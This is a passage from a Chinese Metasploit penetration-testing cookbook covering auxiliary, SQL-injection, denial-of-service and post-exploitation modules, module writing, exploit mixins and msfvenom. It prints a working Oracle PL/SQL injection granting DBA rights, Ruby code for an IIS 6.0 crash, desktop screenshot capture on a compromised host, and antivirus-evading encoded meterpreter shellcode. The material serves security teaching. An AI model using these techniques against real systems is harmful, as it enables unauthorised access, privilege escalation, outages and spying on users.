● -b：Number[type: kb/mb/gb]，指定输出文件的大小。

● -f </path/to/charset.lst> <charset-name>：允许从 charset.lst文件中指定字符集。

● -o <wordlist.txt>：定义用于保存输出的文件。

● -t <@*%^>：用于添加口令文本。

下面的URL提供了crunch工具相关的完整文档。

http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

读者可以详读该文档，理解怎样使用该工具生成复杂的口令列表。

7.3 使用辅助管理模块

接下来学习管理模块，在渗透测试中会用到这些模块。管理模块可以完成不同功能，例如查找管理面板、进行管理员登录等，依赖于不同模块的具体功能。下面看一个简单的mysql_enum模块。

准备

mysql_enum模块是用于MySQL数据库服务器的特殊工具模块，只要具备正确的用户名和口令，就可以使用该工具对MySQL数据库服务器进行简单的列举。通过对该模块的应用进一步了解其详细信息。

怎样实现

首先启动msfconsole，并进入该辅助模块所在路径。

msf > use auxiliary/admin/mysql/mysql_enum

msf　auxiliary(mysql_enum) > show options

Module options (auxiliary/admin/mysql/mysql_enum):

Name　Current Setting　Required　Description

----　---------------　--------　-----------

PASSWORD　no　The password for the..

RHOST　yes　The target address

RPORT　3306　yes　The target port

USERNAME　no　The username to..

从结果可以看到，该模块可接受的参数包括口令、用户名和RHOST。该模块利用这些参数搜索 MySQL 数据库，之后尝试使用用户名和口令进行远程登录。下面看一下 exploit命令的输出结果。

msf　auxiliary(mysql_enum) > exploit

[*] Configuration Parameters:

[*]　C2 Audit Mode is Not Enabled

[*]　xp_cmdshell is Enabled

[*]　remote access is Enabled

[*]　allow updates is Not Enabled

[*]　Database Mail XPs is Not Enabled

[*]　Ole Automation Procedures are Not Enabled

[*]　Databases on the server:

[*]　Database name:master

从结果可以看到，该模块包含有大量有用的响应信息，例如目标 MySQL 服务器上cmdshell和远程访问都已经激活，同时还返回了目标机器上正在使用的数据库名称。

还有一些可用于MSSQL和Apache服务的类似模块，大多数模块的工作过程都是类似的。记住使用 show options命令，以便确认为相应模块传递必需的参数。

怎样工作

辅助管理模块的工作方式是，建立到目标主机的连接，提供用户名和口令，然后进行服务枚举。此外，这些模块还可以用于检查数据库服务器是否支持匿名登录，也可以用于测试默认的用户名和口令是否有效，例如对MySQL服务器，将scott和tiger作为默认的登录凭据进行测试。

7.4 SQL注入与DOS攻击模块

对渗透测试人员和黑客来讲，Metasploit都是友好的，因为渗透测试人员必须从黑客的角度去考虑问题，才能确保网络、服务和应用程序等方面的安全。渗透测试人员可以使用SQL注入和DOS攻击模块对自己的网络和服务进行攻击，以便确定其对这些攻击是否具有抵抗力。下面对这些模块进行详细讨论。

准备

SQL注入模块使用已知数据库类型漏洞对目标服务进行攻击渗透，并获取未授权访问。该漏洞已知影响Oracle 9i、10g等版本。Metasploit中的一些模块利用Oracle数据库的已知漏洞，通过查询注入突破Oracle数据库。这几个模块可以在modules/auxiliary/sqli/oracle目录中找到。

怎样实现

下面分析Oracle DBMS_METADATA XML漏洞，该漏洞成功利用后，可以将用户权限从 DB_USER 提升到 DB_ADMINISTRATOR （数据库管理员）。下面来看一下 dbms_metadata_get_xml模块的具体使用方法。

msf　auxiliary(dbms_metadata_get_xml) > show options

Module options (auxiliary/sqli/oracle/dbms_metadata_get_xml):

Name　Current Setting　Required Description

----　---------------　--------　-----------

DBPASS　TIGER　yes　The password to..

DBUSER　SCOTT　yes　The username to..

RHOST　yes　The Oracle host.

RPORT　1521　yes　The TNS port.

SID　ORCL　yes　The sid to authenticate.

SQL　GRANT　DBA to SCOTT no　SQL to execute.

该模块需要的参数和之前讲过的模块类似。传递相应参数后，该模块首先使用默认的登录凭据（scott 为默认用户名，tiger为默认口令）登录数据库服务器，以数据库用户身份登录后，该模块执行漏洞利用代码，用户权限提升为数据库管理员权限。下面展示的是针对具体目标的实际示例。

msf auxiliary(dbms_metadata_get_xml) > set RHOST 192.168.56.1

msf auxiliary(dbms_metadata_get_xml) > set SQL YES

msf auxiliary(dbms_metadata_get_xml) > run

成功执行该模块后，用户权限将从DB_USER提升到DB_ADMINISTRATOR。

接下来要介绍的是拒绝服务（DOS）攻击模块，该模块利用了简单的 IIS 6.0漏洞，攻击者可以发送包含 40000 个以上请求参数的 POST 请求，从而导致目标服务器崩溃。之后会简要分析该漏洞。该模块已在无补丁的Windows 2003服务器上运行了 IIS 6.0。下面的模块为ms10_065_ii6_asp_dos。

msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos

msf auxiliary(ms10_065_ii6_asp_dos) > show options

Module options (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos):

Name　Current Setting Required　Description

----　---------------　--------　-----------

RHOST　yes　The target address

RPORT　80　yes　The target port

URI　/page.asp　yes　URI to request

VHOST　no　The virtual host name to..

msf　auxiliary(ms10_065_ii6_asp_dos) > set RHOST 192.168.56.1

RHOST => 192.168.56.1

msf　auxiliary(ms10_065_ii6_asp_dos) > run

[*] Attacking http://192.168.56.1:80/page.asp

使用 run 命令执行该模块后，可开始攻击目标 IIS 服务器，这是通过对 80 端口发送HTTP请求实现的（URI后带page.asp），成功执行该模块后，IIS服务器将拒绝服务。

怎样工作

快速浏览两个漏洞。Oracle数据库漏洞是通过注入自定义的PL/SQL函数实现的，该函数在SYS上下文中执行，成功执行后将用户权限提升为管理员权限。

观察下面的示例函数。

CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2

authid current_user as

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';

COMMIT;

RETURN '';

END;

/

接下来，将该函数注入到有漏洞的进程，提升用户权限。

SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','')

FROM dual;

上面的代码表达了函数注入的过程，这里将省略对Oracle软件漏洞的详尽分析。

DOS攻击模块，该模块针对的是 IIS 6.0服务器中的漏洞，攻击者发送一个包含超过40000个包含请求参数的POST请求，该请求是以application/x-www-form-urlencoded编码类型的格式发送的。

下面是该攻击模块中某脚本的一部分。

while(1)

　begin

connect

payload = "C=A&" * 40000

length = payload.size

sploit = "HEAD #{datastore['URI']} HTTP/1.1\r\n"

sploit << "Host: #{datastore['VHOST'] || rhost}\r\n"

sploit << "Connection:Close\r\n"

sploit << "Content-Type: application/x-www-form-urlencoded\r\n"

sploit << "Content-Length:#{length} \r\n\r\n"

sploit << payload

sock.put(sploit)

#print_status("DoS packet sent.")

disconnect

rescue Errno::ECONNRESET

next

end

end

从结果可以看到，该脚本生成了一个大小超过40000的攻击载荷，之后建立到80端口的连接，并向IIS服务器发送HTTP请求，该请求被处理后，服务器将崩溃并停止工作，只有重启后才能恢复正常。

7.5 后渗透阶段模块

到目前为止，我们在后渗透阶段所做的大量工作都是借助 meterpreter 的各种功能实现的，然而，metasploit还包含一些单独的模块以增强渗透测试体验，由于这些模块是后渗透阶段模块，因此使用前需要与目标机器建立活跃会话。获取对目标机器的访问权限，可使用前面章节中所讲述的任意方法。

准备

后渗透阶段模块是渗透测试阶段一些最有用和最方便的功能组合，我们将对其中一些模块进行快速分析。本节中，目标机器运行的是未打补丁的Windows 7系统，并且已经与其建立了活跃的meterpreter会话。

怎样实现

后渗透阶段模块可以在 modules/post/windows/gather 目录下找到，首先来看简单的enum_logged_on_users模块，该模块用于列出Windows机器中当前的登录用户。

在活跃的meterpreter会话中执行该模块，注意需要使用getsystem命令进行用户权限提升，以防模块执行中发生错误。

meterpreter > getsystem

...got system (via technique 4).

meterpreter > run post/windows/gather/enum_logged_on_users

[*] Running against session 1

Current Logged Users

====================

SID　User

---　----

S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC\DARKLORD

Recently Logged Users

=====================

SID　Profile Path

---　------------

S-1-5-18　%systemroot%\system32\config\systemprofile

S-1-5-19　C:\Windows\ServiceProfiles\LocalService

S-1-5-20　C:\Windows\ServiceProfiles\NetworkService

S-1-5-21-23502　C:\Users\DARKLORD

S-1-5-21-235　C:\Users\Winuser

成功执行该模块后可以得到两个输出表，第一个表达的是当前登录用户，第二个表达的是近期登录用户。执行模块时要确保路径的正确性。使用 run 命令执行该模块，因为模块都是Ruby脚本格式的，因而meterpreter能很容易地识别并执行。

观察下面的示例。其中的后渗透阶段模块可用于捕获目标桌面的快照，并判断当前是否存在活跃用户，模块名为screen_spy.rb。

meterpreter > run post/windows/gather/screen_spy

[*] Migrating to explorer.exe pid: 1104

[*] Migration successful

[*] Capturing 60 screenshots with a delay of5seconds

从上述的示例中，已经可以初步领略到后渗透阶段模块的实用和简便。将来，Metasploit的开发人员将更多地关注后渗透阶段模块而不是meterpreter，因为后渗透阶段模块可以大幅增强渗透测试的功能，所以，如果读者希望对Metasploit开发有所贡献，可以在后渗透阶段模块方面进行尝试。

怎样工作

分析modules/post/windows/gather目录中的enum_logged_on_user.rb和screen_spy.rb这两个脚本，有助于深入理解这些模块是怎样运转的。

7.6 理解模块构建的基础

在之前的内容中已经体会到模块的应用及其增加 Metasploit 框架功能的作用，为掌握Metasploit框架，理解模块的工作和构建是重要的，这有助于我们根据需要快速地对框架进行扩展。接下来的内容中，我们将看到怎样使用 ruby 脚本构建自己的模块并将其导入到Metasploit框架。

准备

要构建自己的模块，需要具备Ruby脚本设计的基本知识。在meterpreter脚本设计章节中，我们已经对 Ruby 语言的使用和实现进行了讨论，本节中将讲述怎样使用 Ruby 为Metasploit框架构建模块，过程与meterpreter脚本设计非常类似，区别在于会使用一些预定义的代码行，这些代码行可确保模块的需求和本质被 Metasploit 框架理解和支持。首先讨论模块构建的需求。

怎样实现

Metasploit框架中的每个模块都以ruby脚本语言格式存储在modules目录中，构建自己的模块时，需要根据需要导入一些框架库。下面介绍怎样在脚本中导入库，并设计一个功能完整的模块。

怎样工作

首先了解模块构建的一些基础知识。为了保证模块能被Metasploit框架理解，必须导入MSF库。

require 'msf/core'

上面的代码是每个模块脚本中必需包含的第一行代码，其含义是该模块脚本将包含Metasploit框架中所有依赖库及其功能。

class Metasploit3 < Msf::Auxiliary

上面代码的含义是定义类，该类继承auxiliary的属性，auxiliary模块可以导入一些功能，例如扫描、打开连接、使用数据库等。

include Msf::

Include 可用于将框架中的某个特定功能导入到自己的模块中，例如，如果要构建一个扫描器模块，可以使用下面的语句。

include Msf::Exploit::Remote::TCP

上面的代码表示在模块中包含远程TCP扫描功能，并将Metasploit库中的主要扫描模块库纳入到调用范围。

def initialize

super(

'Name'　=> 'TCP Port Scanner',

'Version'　=> '$Revision$',

'Description'　=> 'Enumerate open TCP　services',

'Author'　=> [ darklord ],

'License'　=> MSF_LICENSE

)

上面几行代码是对模块的一个简单介绍，包括模块名称、版本、作者及一些描述信息等。

register_options(

　[

OptString.new('PORTS', [true, "Ports to scan (e.g. 25,80,110-900)","1-10000"]),

OptInt.new('TIMEOUT', [true, "The socket connect timeout in　milliseconds", 1000]),

OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), self.class)

deregister_options('RPORT')

上面几行代码用于对脚本中一些值进行初始化，其中标记为 true 的是模块中必需的，标记为no的则是可选的。在模块执行中，可以传递或变更这些值。

上面给出的这些代码段，是在每个模块中都会看到的。对内置的脚本进行分析是理解模块构建的最好方式，还有一些文档也有助于学习模块构建。最好的方式是，掌握Ruby脚本设计，并对现有模块进行分析。下节中，我们将对一个完整的模块进行详细分析。

7.7 分析现有的模块

基于前面介绍的模块构建的一些基础知识，接下来将对现有模块进行分析。如果需要对模块和平台开发进行深入学习挖掘，必须对现有模块脚本进行分析理解。

准备

下面对简单的ftp模块进行分析，以便对模块构建有更深刻的理解。

接着上节中讲述的内容，前面已经对模块构建的一些模板的代码行进行了介绍，下面将从模块脚本的主体部分开始介绍。

怎样实现

分析 ftp 匿名访问模块，该模块的主体脚本可在 pentest/exploits/framework3/modules/auxiliary/scanner/ftp/anonymous.rb中找到。

下面是该脚本的完整代码。

class Metasploit3 < Msf::Auxiliary

　include Msf::Exploit::Remote::Ftp

　 include Msf::Auxiliary::Scanner

　 include Msf::Auxiliary::Report

　 def initialize

　　super(

　　　 'Name'　=> 'Anonymous FTP Access Detection',

　　　'Version'　=> '$Revision: 14774 $',

　　　 'Description' => 'Detect anonymous (read/write) FTP server access.',

　　　 'References'　=>

　　　　[

　　　　　 ['URL', 'http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],

　　　　],

　　　 'Author'　=> 'Matteo Cantoni <goony[at]nothink.org>',　'License'　=> MSF_LICENSE

　　)

　　register_options(

　　　[

　　　　Opt::RPORT(21),

　　　 ], self.class)

　　end

　　 def run_host(target_host)

　　　begin

　　　　 res = connect_login(true, false)

　　　　 banner.strip! if banner

　　　　 dir = Rex::Text.rand_text_alpha(8)

　　　　 if res

　　　　　 write_check = send_cmd( ['MKD', dir] , true)

　　　　　 if (write_check and write_check =~ /^2/)

　　　　　　 send_cmd( ['RMD', dir] , true)

　　　　　　 print_status("#{target_host}:#{rport} Anonymous READ/WRITE (#{banner})")

　　　　　　 access_type = "rw"

　　　　　else

　　　　　　 print_status("#{target_host}:#{rport} Anonymous READ (#{banner})")

　　　　　　 access_type = "ro"

　　　　　end

　　　　　report_auth_info(

　　　　　　 :host　=> target_host,

　　　　　　 :port　=> rport,

　　　　　　 :sname　=> 'ftp',

　　　　　　 :user　=> datastore['FTPUSER'],

　　　　　　 :pass　=> datastore['FTPPASS'],

　　　　　　 :type　=> "password_#{access_type}",

　　　　　　 :active　=> true

　　　　　)

　　　　end

　　　　disconnect

　　　　 rescue ::Interrupt

　　　　　 raise $!

　　　　 rescue ::Rex::ConnectionError, ::IOError

　　　　end

　　　end

　　end

接下来对上面的完整脚本代码进行详细分析。

怎样工作

对该模块的主体脚本进行分析，以便理解其工作原理。

def run_host(target_host)

　begin

　 res = connect_login(true, false)

　 banner.strip! if banner

　 dir = Rex::Text.rand_text_alpha(8)

该函数用于启动连接，其中res变量的取值为布尔值true或false，connect_login函数是该模块使用的特定函数，用于与远程主机建立连接，并根据连接的成功与否为res变量进行相应赋值。

if res

　 write_check = send_cmd( ['MKD', dir] , true)

　 if (write_check and write_check =~ /^2/)

　　 send_cmd( ['RMD', dir] , true)

　　　print_status("#{target_ host}:#{rport} Anonymous READ/WRITE (#{banner})")

　 access_type = "rw"

　else

　　print_status("#{target_host}:#

{rport} Anonymous

access_type="ro"

连接建立后，模块对匿名用户是否具备读/写权限进行检查，write_check变量表示是否允许写入操作，之后判断操作是否成功。根据权限的状态，在屏幕上显示相应消息。如果写入操作失败，则状态显示为ro或read-only。

report_auth_info(

　 :host　=> target_host,

　 :port　=> rport,

　 :sname　=> 'ftp',

　 :user　=> datastore['FTPUSER'],

　 :pass　=> datastore['FTPPASS'],

　 :type　=> "password_#{access_type}",

　 :active => true

　　)

end

上面的函数用于报告授权信息，其中反映了一些重要的参数，例如主机、端口、用户、口令等，这些值在使用 show options命令时会展示出来，依赖于具体用户的。

上面简要介绍了一个简单的模块在框架中的工作机理，用户可以根据自身需要对现有脚本进行修改，从而使得该平台具有更强的可移植性。注意，要学习关于模块构建的更多知识，最好的方法就是对现有脚本进行分析。

下节将介绍怎样构建自己的模块并将其导入到Metasploit框架中。

7.8 构建自己的后渗透阶段模块

前面已经对模块构建的背景知识进行了充分的讲解，现在看一下怎样构建自己的模块并将其导入到 Metasploit 框架中。构建模块可以提高很多方便，用户可以根据需要扩充Metasploit框架的功能。

怎样实现

构建一个简单的后渗透阶段模块，其功能是枚举目标机器上安装的所有应用程序。由于这是一个后渗透阶段模块，因此需要一台已攻陷的目标机器来运行该模块。

要构建自己的模块，首先需要导入一些框架库，并包含必需的一些依赖库。

require 'msf/core'

require 'rex'

require 'msf/core/post/windows/registry'

class Metasploit3 < Msf::Post

　include Msf::Post::Windows::Registry

　def initialize(info={})

　　super( update_info( info,

　'Name' => 'Windows Gather Installed Application Enumeration',

　'Description' => %q{ This module will enumerate all installed applications },

　'License' => MSF_LICENSE,

　'Platform' => [ 'windows' ],

　'SessionTypes' => [ 'meterpreter' ]

))

end

该脚本从包含Metasploit核心库开始，然后建立一个类，该类扩展了Msf::Post模块的属性。

接下来，该脚本创建了 initialize 函数，用于对模块属性进行初始化和描述。基本的结构几乎与所有模块都是一样的，这里要注意的是该脚本中包含了 rex ，也就是注册表（registry）库，这有易于框架理解该模块的需求。

下一步创建一个用于展示提取过的结果的表，可利用特殊的 Rex::Ui::Text 库完成。同时还需要定义一些不同的列。

def app_list

　 tbl = Rex::Ui::Text::Table.new(

　　 'Header' => "Installed Applications", 'Indent' => 1,

　　 'Columns' =>

　　　[

　　　　"Name",

　　　　"Version"

　　　])

　 appkeys = [

　　'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',

　　'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',

　　'HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',

　　'HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',

　　]

　 apps = []

　 appkeys.each do |keyx86|

　　 found_keys = registry_enumkeys(keyx86)

　　　 if found_keys

　　　　found_keys.each do |ak|

　　　　　 apps << keyx86 +"\\" + ak

　　　end

　　end

　end

首先构建表并包括不同的列名称，之后创建单独的注册表位置数组，用于展示应用程序列表，该数组包含不同的注册表条目，用于存储目标机器上已安装的应用程序信息，应用程序信息是由一个名为apps的数组进行维护的。

接下来，通过对存储在appskey数组中的不同注册表位置进行loop循环来进行枚举过程。

t = []

　 while(not apps.empty?)

　　 1.upto(16) do

　　　 t << framework.threads.spawn("Module(#{self.refname})", false, apps.shift) do |k|

　　　begin

　　　 dispnm = registry_getvaldata("#{k}","DisplayName")

　　　 dispversion = registry_getvaldata("#{k}","DisplayVersion")

　　　 tbl << [dispnm,dispversion] if dispnm and dispversion

　　　rescue

　　　end

end

上面的脚本代码用于将不同的具体值填充到相应列中，使用内置的 registry_getvaldata函数，该函数用于取回相应值，并对表中具体的列进行赋值填充。

results = tbl.to_s

　 print_line("\n" + results + "\n")

　 p = store_loot("host.applications", "text/plain", session, results, "applications.txt", "Installed Applications")

　 print_status("Results stored in: #{p}")

end

def run

　 print_status("Enumerating applications installed on #{sysinfo['Computer']}")

　app_list

end

end

上面几行代码用于将应用程序信息存储到单独的文本文件applications.txt中，该文件内容是利用store_loot函数生成的，该函数将表中的所有信息存储到文本文件中。

最后是在屏幕上展示输出信息，声明文件已经创建，并存储了结果信息。

接下来将这一完整脚本存储到相应的目录中，注意要确保选择正确的目录存储该模块，这有助于框架更清晰地理解该模块的功能，并保持框架体系有条理。更新模块时保持框架体系有条理，有助于准确地追踪和理解模块的构建目标和功能。例如，将IE相关模块保存在modules/exploits/windows/browser目录中，有助于更容易地在该目录中定位新的或现有的浏览器模块。

要确定模块的存储位置，需要根据如下几点。

● 模块的类型

● 模块执行的操作

● 影响的软件和操作系统

首先是观察模块的类型，例如是漏洞利用模块还是辅助模块。然后是检查模块的通用名，例如受影响的操作系统名称。然后是专业化的功能，例如模块是用于浏览器还是其他软件。最后是最特定性的名称，例如该模块针对的浏览器类型的具体名称。

我们要建立的模块是一个后渗透阶段模块，用于枚举Windows操作系统中的应用程序，并收集目标系统相关的信息，该模块的存储应该遵循上述的存储规范，因此该模块的存储位置是modules/post/windows/gather/。

可以将该模块保存为任意的名称，并以.rb扩展为后缀，这里将其保存为enum_applications.rb。

怎样工作

将该模块保存到相应目录后，下一步执行该模块并观察其是否正常运行。前面章节中已经介绍了模块执行的过程，在MSF终端提示符中使用模块名即可执行。

msf> use post/windows/gather/enum_applications

msf post(enum_applications) > show options

Module options (post/windows/gather/enum_applcations)

Name　Current Setting　Required　Description

SESSION　yes　The session..

上面的示例展示了怎样构建自己的模块，并将自己的模块添加到Metasploit框架中。如果想更好地构建模块，需要适当的Ruby脚本设计基础，用户可以在Metasploit社区中发布自己开发的模块，以便与他人分享。

第8章 使用漏洞利用代码

本章讲解下述内容：

● 探索模块结构；

● 常用的漏洞利用代码mixins；

● 使用msfvenom；

● 将漏洞利用代码转换为Metasploit模块；

● 移植并测试新的漏洞利用代码模块；

● 使用Metasploit进行模糊测试；

● 编写FileZilla FTP模糊测试器。

8.1 介绍

首先介绍漏洞利用代码。漏洞利用代码（Exploit）是指利用某个软件中的漏洞或 bug执行攻击者意图指令的软件代码、数据块或指令序列。攻击者意图指令可在目标软件中引发异常行为。在渗透测试过程中，漏洞利用代码起着至关重要的作用，提供了进入目标系统的入口。

在前面的内容中，我们已经使用过漏洞利用代码执行渗透测试任务。这里需要注意的是，不能将任何独立的概念验证代码或漏洞利用代码直接导入到Metasploit框架中，而必须将其转换成该框架可理解的模块，其过程和前面讲过的辅助模块开发类似。本章将介绍在该框架内使用漏洞利用代码所需知识的细节，但不包括与漏洞利用代码开发相关的内容。本章中，将介绍如何使用漏洞利用代码的概念验证代码，并学习怎样将其添加到该框架中。还有学习一些重要的mixins，以便简化漏洞利用代码到Metasploit模块的转换过程。最后将介绍模糊测试模块的相关内容。

8.2 探索模块结构

理解漏洞利用模块的结构是非常重要的，因为这有助于对不同漏洞利用模块的正确分析。由于Metasploit框架是一个开源项目，其开发依赖于来自研究团体的贡献。来自全球的开发者们将各种漏洞利用代码的概念验证代码转换为 Metasploit 模块，以便为其他用户使用。读者也可以将新发现漏洞的利用代码转换为Metasploit模块，从而为Metasploit开发贡献力量。还有些时候需要利用不在Metasploit框架中的特定漏洞利用代码。掌握漏洞利用代码模块结构的相关知识，有助于更容易地将漏洞利用代码转换为Metasploit模块。

准备

首先来理解框架中漏洞利用代码的模块结构，其结构与辅助模块结构类似，但多了一些字段，用户可以在 /pentest/exploits/framework3 目录中找到漏洞利用模块，下面对 MSF中漏洞利用代码的结构进行分析。

怎样实现

上面提到的，漏洞利用代码模块的结构与辅助模块类似，同时又增加了一些特定内容。

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

　 Rank = ExcellentRanking

　 include Msf::Exploit::Remote::Tcp

　 include Msf::Exploit::EXE

漏洞利用代码模块首先在脚本中包含MSF核心库，并声明一个类，该类扩展了与该漏洞利用代码相关的一些属性。在上面的示例中，Metasploit3类扩展了Remote Exploit库，其实该脚本还包含其他一些库，例如TCP。

def initialize(info = {})

　super(update_info(info,

　 'Name' => '',

　'Description')

initialize 函数用于对模块中不同的值和内容定义进行初始化，主要包括 Name、Description、Author、Version等内容。

register_options(

　[

　　Opt::RPORT(7777),

　 ], self.class)

end

该脚本中的一些注册选项用于为该脚本提供一些重要的和默认的值，这些值可以根据用户需要进行更改。目前为止，可以看到其结构与辅助模块非常类似，其差别在于下面要定义的exploit()函数。

def exploit

　connect()

　sock.put(payload.encoded)

　handler()

　disconnect()

end

上面这一函数是模块漏洞利用代码的主体部分，其中包含了适用于该漏洞利用代码的shellcode，该函数的内容依据漏洞利用代码的不同而变化。远程漏洞利用代码中通常可能包含的一些关键功能在该函数体中有所体现，例如connect()函数用于打开到目标的远程连接，这是一个在 Remote::TCP 库中定义的函数。攻击载荷也是漏洞利用代码主体的重要组成部分，用于建立目标机器到攻击者机器的反向连接。用户也可以根据实际需要在漏洞利用代码主体部分中定义不同的处理程序。

还可以声明一个漏洞测试函数 check()，该函数用于确定目标机器是否存在该漏洞，可以对除攻击载荷之外的所有选项进行验证。

上面是对Metasplot中漏洞利用代码模块的基本介绍，后面章节中会对与框架中漏洞利用代码相关的一些核心概念进行讨论。

怎样工作

上述分析的漏洞利用代码模块结构是Metasploit可以理解的格式。def initialize()函数主要帮助模块定义一些常用的漏洞利用代码选项。类似地，register_options()则被 Metasploit用于定义一些不同的参数，或为漏洞利用代码模块的一些参数赋予默认值。这也是模块化体系结构的优势所在。随着本章内容的推进，我们还会介绍到怎样将现有的漏洞利用代码转换为Metasploit模块。

8.3 常用的漏洞利用代码mixins

Mixins是Ruby语言中应用广泛的一种机制，其作用是将一些功能放置到模块中，并使得Ruby这种单继承语言具备多继承的能力。在漏洞利用代码模块中使用mixins，有助于调用该漏洞利用代码所需的不同函数。在本节中，我们将学习一些重要的 Metasploit exploit mixins。

怎样实现

下面快速浏览一些常用的 exploit mixins，然后在现有的漏洞利用代码模块中了解其实现机理。

Exploit::Remote::TCP：该mixin为模块提供了TCP相关功能，可用于建立TCP连接。connect()函数与 disconnect()函数分别负责建立和终止连接，此外还需要一些不同的参数，例如RHOST、RPORT、SSL等。

Exploit::Remote::UDP：该 mixin 用于为模块提供 UDP 相关功能，UDP 通常被视为比TCP更快的连接模式，因此也是一个方便的选项，该mixin还进一步地包含了Rex::Socket::UDP，从而不必担心无法与目标建立socket连接的问题。

Exploit::Remote::DCERPC：该mixin提供了与远程机器上的DCE/RPC服务进行交互的工具和方法，其中方法通常适用在攻击渗透的语境中。该 mixin 还扩展了 TCP mixin。dcerpc_call()、dcerpc_bind()等函数是DCE/RPC mixin提供的。

Exploit::Remote::SMB：该mixin定义了有助于和远程目标主机SMB服务进行通信的函数，例如smb_login()、smb_create()等，都是该mixin提供的有用函数。

Exploit::BruteTargets：该mixin用于对目标机器进行暴力破解，使用exploit_target(target)函数接受目标主机IP并执行暴力破解，该mixin可以很容易地在不同的暴力破解代码中进行扩展和使用。

Exploit::Remote::Ftp：该mixin用于攻击渗透远程目标上的FTP服务，其中包含了用于与远程目标主机建立连接的Remote::TCP，并使用connect()函数与远程系统上的FTP服务器建立连接，该函数可接受的参数值是RHOST与RPORT。

Exploit::Remote::MSSQL：该mixin有助于查询远程数据库，其中Mssql_ping()函数用于查询数据库的可用性并将ping命令的返回信息保存为hash形式，Mssql_xpcmdshell()函数则使用 xp_cmdshell执行系统命令。在使用与MS SQL相关的漏洞利用代码时，该mixin是非常便利的。

Exploit::Capture：该mixin有助于截获网络中的数据包，其中open_pcap()函数用于建立网络设备并捕获流经该设备的数据包。该mixin需要安装pcap。inject(pkt="", pcap=self.capture)和inject_reply()是其中两个重要的函数，前者用于向网络设备中注入数据包，后者用于根据注入的数据包报告注入后产生的数据包。

上面展示了一些漏洞利用代码mixins，在Metasploit框架内使用漏洞利用代码模块时，这些mixins会带来很大便利，使用mixins可避免重复使用相同模块。促进代码重用，也正是模块式结构灵活的原因。

怎样工作

如前面所说，mixins用于在Ruby这种单继承语言中提供多继承机制，这里的含义是，可以根据实际需要在任意模块中调用不同的功能。例如，如果需要在漏洞利用代码模块中建立 TCP 连接，并不需要专门为其定义一个完整的函数，而是可以简单地在模块中调用Exploit::Remote::TCP这一mixin，就可以使用其中提供的各种功能。

更多

更多的mixins

除了前面提及的mixins之外，框架中还有很多重要的mixins，包括fileformat、imap、java、smtp、she等，可以在lib/msf/core/exploit目录中找到。

8.4 使用msfvenom

在第4章中，我们曾提及过msfencode和msfpayload。现在简单回顾一下，msfpayload用于从攻击载荷中生成二进制文件，msfencode 则用于使用不同编码技术对该二进制文件进行编码。现在要讨论的另一个 Metasploit 工具则结合了二者的功能，并在生成可隐蔽执行漏洞利用代码方面发挥重要作用。

准备

要使用msfvenom，首先启动终端提示符窗口，键入msfvenom –h 命令。

怎样实现

观察有哪些不同的可用选项。

root@bt:~# msfvenom -h

Usage: /opt/framework/msf3/msfvenom [options]

Options:

-p, --payload　[payload]　Payload to use. Specify a '-' or stdin to use custom..

-l, --list　[module_type]　List a module type example: payloads, encoders, nops, all

-n, --nopsled　[length]　Prepend a nopsled of [length] size on to the payload

-f, --format　[format]　Format to output results in: raw, ruby, rb, perl, pl, bash..

-e, --encoder　[encoder]　The encoder to use

-a, --arch　[architecture]　The architecture to use

-s, --space　[length]　The maximum size of the resulting Payload

-b, --bad-chars　[list]　The list of characters to avoid example: '\x00\xff'

-i, --iterations　[count]　The number of times to encode the payload

-c, --add-code　[path]　Specify an additional win32 shellcode file to include

-x, --template　[path]　Specify a custom executable file to use as a template

-k, --keep　Preserve the template behavior and inject the payload as..

-h, --help　Show this message

从结果可以看到，有很多重要的参数，其中，-n 参数用于创建和攻击载荷大小一样的NOP sled，-b参数用于防止漏洞利用代码中出现一些常用字符，例如\x00，在规避防病毒软件时，常会发生类似状况。其他参数与msfpayload和msfencode中看到的类似。

NOP slide, NOP sled或NOP ramp，是指空操作MOP指令序列，其作用是掩盖CPU的实际指令执行流程。

怎样工作

要使用msfvenom，需要将攻击载荷编码类型作为参数进行传递，下面在终端窗口中执行这一任务。

root@bt:~# msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai

-b '\x00' -i 3

[*] x86/shikata_ga_nai succeeded with size 325 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 352 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 379 (iteration=3)

buf =

"\xdb\xdb\xbe\x0a\x3a\xfc\x6d\xd9\x74\x24\xf4\x5a\x29\xc9" +

"\xb1\x52\x31\x72\x18\x83\xea\xfc\x03\x72\x1e\xd8\x09\xb6" +

"\xce\xc5\x86\x6d\x1a\xa8\xd8\x88\xa8\xbc\x51\x64\xe5\xf2" +

"\xd1\xb7\x80\xed\x66\x72\x6e\x0d\x1c\x68\x6a\xae\xcd\x0e" +

"\x33\x90\x1d\x73\x82\xd8\xd7\xe0\x87\x76\xbd\x25\xf4\x23" +

"\x4d\x38\xc2\xc3\xe9\xa1\x7e\x31\xc5\xe4\x84\x2a\x3b\x37" +

"\xb3\xd6\x13\xc4\x09\x89\xd0\x95\x21\x10\x6b\x83\x94\x3d" +

要注意与攻击载荷一起传递的参数，-b参数防止\x00（空字节）在shellcode中出现，我们可以在自己的漏洞利用代码中使用该shellcode。

使用框架中的不同攻击载荷生成 shellcode 时，msfvenom 是非常方便的工具，而这些shellcode则可用于漏洞利用代码中，并在攻击者成功攻陷目标机器后提供反向连接等功能。

8.5 将漏洞利用代码转换为Metasploit模块

